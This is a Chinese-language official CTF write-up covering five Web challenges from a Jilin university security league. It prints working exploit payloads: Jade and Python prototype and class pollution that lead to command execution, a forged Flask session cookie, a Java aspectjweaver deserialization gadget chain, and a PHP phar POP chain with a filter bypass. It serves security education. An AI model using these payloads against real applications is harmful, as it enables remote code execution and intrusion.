吉林省高校网络安全联赛第三轮 Web 官方题解

吉林省高校网络安全联赛第三轮 Web 官方题解

Ko1sh1

负责了Web和Misc方向的题目设计,这里记录一下本次Web方向的题解。

华容道

难度:签到

考点:js 前端代码基础

这题是一个使用 vue 写的前端小游戏,需要将大的正方形方块移动到指定位置获取胜利。修改了 https://conwnet.github.io/huarongdao/ 这个项目,选用了其中 “峰回路转” 这个布局,额外添加了胜利之后在界面上显示flag内容。

解法一

直接搜索布局解法,由于使用的布局是经典布局,虽然比较难,但是在互联网上是存在对应解法的。

解法二

根据逻辑,一般js小游戏都会有一个判断胜利的条件,尝试搜索 “win”,”success” 等关键字,可以发现存在如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
t.default = {
components: {
Grid: i.default
},
props: ["unitSize", "layout"],
data: function () {
return {
state: this.layout,
answer: [],
thinking: !1
}
},
computed: {
width: function () {
return 4 * this.unitSize
},
height: function () {
return 5.5 * this.unitSize
},
success: function () {
return "5" === this.state[13]
}
},

.........

每次网格中的矩形发生变化时,就会计算当前的 this.state[13] 是否为 “5” (实际上仔细读代码能知道 this.state[13] 即为出口位置,”5”是大方块的一个表示,也即判断当前大方块是否在出口位置),我们可以尝试修改其值为true,并再移动一次方块即可获取flag内容。

image-20240207232013352

warmup

难度:简单

考点:jade原型链污染

题目给出了 app.js 源码 和 package.json 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const jade = require('jade');
const bodyParser = require('body-parser');
const jsYaml = require('js-yaml');
const app = express();

app.set('views', __dirname);
app.set("view engine", "jade");
app.use(express.static('public'));
app.use(bodyParser.text({ type: 'application/x-yaml' }));
let words = {}

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

app.get('/', function (req, res) {
res.render("index.jade", {
datas: words
});
});


app.post('/record', (req, res) => {
if(req.body){
merge(words, jsYaml.load(req.body));
}
res.send('success');
});

app.listen(3000, () => {
console.log(`Server is running on http://localhost:3000`);
});

很明显存在 jade 原型链污染,但是数据解析使用的是自定义的 ‘application/x-yaml’ 形式,使用yaml解析器来解析yaml数据,所以需要将传统的json格式转为yaml格式即可。

payload

POST

1
2
3
__proto__:
self: 1
line: global.process.mainModule.require('child_process').exec('cat /flag > ./public/1.txt')

image-20240207233651306

之后刷新一下首页,再去访问 /1.txt 即可获得flag内容

image-20240207233825782

My Profile

难度:简单

考点:python 格式化字符串漏洞,python 原型链污染

通过查看首页源码,发现存在注释内容

1
<!-- /g3ts0uRce 接口记得删除 -->

访问该接口可以获取源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import json
from flask import Flask, render_template, request, session
from koishi_secret import secret

app = Flask(__name__)
app.config['SECRET_KEY'] = secret


class MyUser:
def __init__(self, name, age, info):
self.name = name
self.age = age
self.info = info

def __str__(self):
return "用户信息"


def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
update(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
update(v, getattr(dst, k))
else:
setattr(dst, k, v)


instance = MyUser("阿卡林", "今年刚满18", "")


@app.route('/',methods=['POST', 'GET'])
@app.route('/index',methods=['POST', 'GET'])
def index():
is_change = False
data = {}
if request.data:
is_change = True
data = json.loads(request.data)

if session.get("role") == "admin":
data["info"] = "修改成功"
update(data, instance)

else:
try:
name = data["name"]
if name != "":
instance.name = name
except KeyError:
pass
try:
age = data["age"]
if age != "":
instance.age = age
except KeyError:
pass

if is_change:
info = " *修改{0}成功(" + "姓名:" + instance.name + "; 年龄:" + instance.age + "岁)"
instance.info = info.format(instance)

return render_template("index.html", user=instance)

if __name__ == '__main__':
app.run('0.0.0.0', 5000)

通过上面的源码可以发现,update函数存在原型链污染问题,但是需要我们 role 为 admin,而 koishi_secret 文件中的 secret 无法直接获取。但是在渲染前可以发现format内容可控,存在格式化字符串问题,可以通过此处获取全局变量进而获取 secret 内容。

1
{0.__class__.__init__.__globals__}

image-20240207232751157

拿到密钥后即可伪造任意用户,再传入原型链内容即可。

payload

POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Cookie: session=eyJyb2xlIjoiYWRtaW4ifQ.Zbcjzg.Fq7AIofnOt_VHZnZWB6IrV7oNBs

{
"__init__": {
"__globals__": {
"__loader__": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"jinja2": {
"runtime": {
"exported": ["*;__import__('os').system('/readflag >./static/1.txt');#"]
}
}
}
}
}
}
}
}
}
}

然后直接访问 /static/1.txt 路由即可获取flag。

ezjava

难度:中等偏易

考点:软链接,java反序列化

题目附件给出了jar文件,反编译后查看源码,发现存在两个路由 /upload 和 /auth/backdoor,而 /upload 主要将上传的文件进行了解压操作, /auth/backdoor 则是常见的反序列化操作。

image-20240207234133284

除此以外,还存在一个拦截器,每次访问 /auth/** 路由时,会读取 /app/security.txt 文件进行校验。

image-20240207234456175

因此我们要反序列化,首先要去通过解压处使用软链接读密钥文件内容:

image-20240207234854801

1
HaHaHaThisisMySecretFile

有这个key之后,我们就可以进行反序列化了。

反序列化黑名单如下,我们基本上限制死了直接执行命令的方式。

image-20240207235011414

查看依赖中有 freemaker 和 aspectjweaver,所以我们可以修改首页内容进行模板注入。

随后打一个反序列化即可写文件,再访问首页即可

payload

1
2
3
4
5
6
7
8
9
10
11
12
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
HashMap map = (HashMap)declaredConstructor.newInstance("/app/templates/", 114514);
ConstantTransformer constantTransformer = new ConstantTransformer("koishi_test!!!".getBytes(StandardCharsets.UTF_8));
Map outerMap = LazyMap.decorate(map,constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"index.ftl");
HashSet hashSet = new LinkedHashSet(1);
hashSet.add(tiedMapEntry);
outerMap.remove("index.ftl");
byte[] bytes = SerializerUtil.objectByteSerialize(hashSet);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(bytes)));

image-20240208000350430

FileCheck

难度:中等

考点:phar 反序列化,黑、白名单绕过,PHP 源码泄露漏洞

进入首页,发现没有任何突破口,抓包发现服务版本为 X-Powered-By: PHP/7.4.21 可以去读取源码

首先抓校验文件的请求,读取list.php

image-20240208001024984

发现其中包含了 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
@error_reporting(0);
class Neepu
{
public $n;
public $ne;
public $nee;

public function __destruct()
{
unset($this->n->n);
}

public function __get($name)
{
$this->ne->ne($this->nee);
}

public function __set($name, $value)
{
$this->n = $value;
}
}

class Koishi
{
public $kk;
public $ii;
public $ss;

public function __toString()
{
if( ($this->kk !== $this->ii) && (md5($this->kk) === md5($this->ii)) && (sha1($this->kk)=== sha1($this->ii)) ){
$this->ss->ss = "happy newYear";
}
return "I'm Ko1sh1";
}

}

class Shruti
{
public $r;

public function __unset($arg1)
{
if (empty($this->r->u)) {
echo "ok, empty";
} else {
echo "nothing todo";
}
}

public function __toString()
{
return "I'm Shruti";
}
}

class NewYear
{
public $date;
public $nYear;

public function __isset($name)
{
if (preg_match("/^\d{4}-\d{2}-\d{2}$/", $this->nYear)) {
$this->date = date("Y-m-d");
}
}

public function __call($name, $arguments)
{
if (is_array($arguments)) {
foreach ($arguments as $value) {
if (preg_match("/s|o|l|e/m", $value, $matches)) {
die("no, bro!");
}
call_user_func($value);
}
} else {
if (preg_match("/s|o|l|e/m", $arguments, $matches)) {
die("no, bro!");
}
call_user_func($arguments);
}
}

public function __toString()
{
return "距离新年还有:" . ceil((strtotime("2024-02-10") - strtotime(date("Y-m-d"))) / 86400) . " 天";
}
}

class Obsolescent
{
public $o;

static function noWay()
{
system('/readflag');
}

public function __set($name, $value)
{
if ($this->o->o) {
$this->o = $value;
}
}
}

发现起可以执行/readflag去读取flag,可以构造pop链。

但此时不存在反序列化的地方,注意到 list.php 调用了 mime_content_type 函数,所以我们可以尝试phar反序列化。

此外还需要注意一个地方,上传之后的文件校验了是否为图片文件,而且在写入的时候添加了部分内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// ini_set('open_basedir', './uploads/');
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
$file = $_FILES["file"];
$fileTmpName = $file["tmp_name"];
$fileError = $file["error"];
// 获取文件相关信息

if($_FILES["file"]["size"] == 0){
echo "<center><h1 style='color: red'>No file selected</h1></center>";
}
else if (($_FILES["file"]["size"] < 204800) && getimagesize($fileTmpName)) {
if ($fileError === 0) {
$fileContent = file_get_contents($fileTmpName);
file_put_contents("./uploads/temp.log", "koishi like this:" . $fileContent);
echo "<center><h1 style='color: sandybrown'>koishi like this!!!</h1></center>";
} else {
echo "<center><h1 style='color: red'>badbad, koishi hate!</h1></center>";
}
} else {
echo "<center><h1 style='color: red'>badbad, koishi hate!</h1></center>";
}
}
?>

所以我们需要进行简单的绕过,最终构造的pop链如下:

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$Neepu = new Neepu();
$Shruti = new Shruti();
$NewYear = new NewYear();
$Koishi = new Koishi();
$Obsolescent = new Obsolescent();
$Neepu->n = $Shruti;
$Shruti->r = $NewYear;
$NewYear->nYear = $Koishi;
$Koishi->kk = array("a");
$Koishi->ii = array("b");
$Koishi->ss = $Obsolescent;
$Obsolescent->o = $Neepu;
$Neepu->ne = $NewYear;
$Neepu->nee = "ObSOLEScEnt::nOWay";

$filename = 'success.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("koishi like this:GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($Neepu);
$phar->addFromString("koishi.txt","hello shruti");
$phar->stopBuffering();
$file=substr(file_get_contents($filename),strlen("koishi like this:"));
file_put_contents("$filename",$file);

检查文件类型时需要包含 Ko1sh1 内容,由于filter对于过滤器的处理不严格,当过滤器存在异常内容时只会出现 Warming 提示,而不会终止程序,而mime_content_type也支持伪协议,所以最终我们使用的payload如下。

1
php://filter/Ko1sh1/resource=phar:///tmp/temp.log/koishi.txt

image-20240208002213628

  • 标题: 吉林省高校网络安全联赛第三轮 Web 官方题解
  • 作者: Ko1sh1
  • 创建于 : 2024-02-08 21:30:00
  • 更新于 : 2024-02-08 21:40:32
  • 链接: https://ko1sh1.github.io/2024/02/08/blog_吉林省第三轮联赛-Web/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
此页目录
吉林省高校网络安全联赛第三轮 Web 官方题解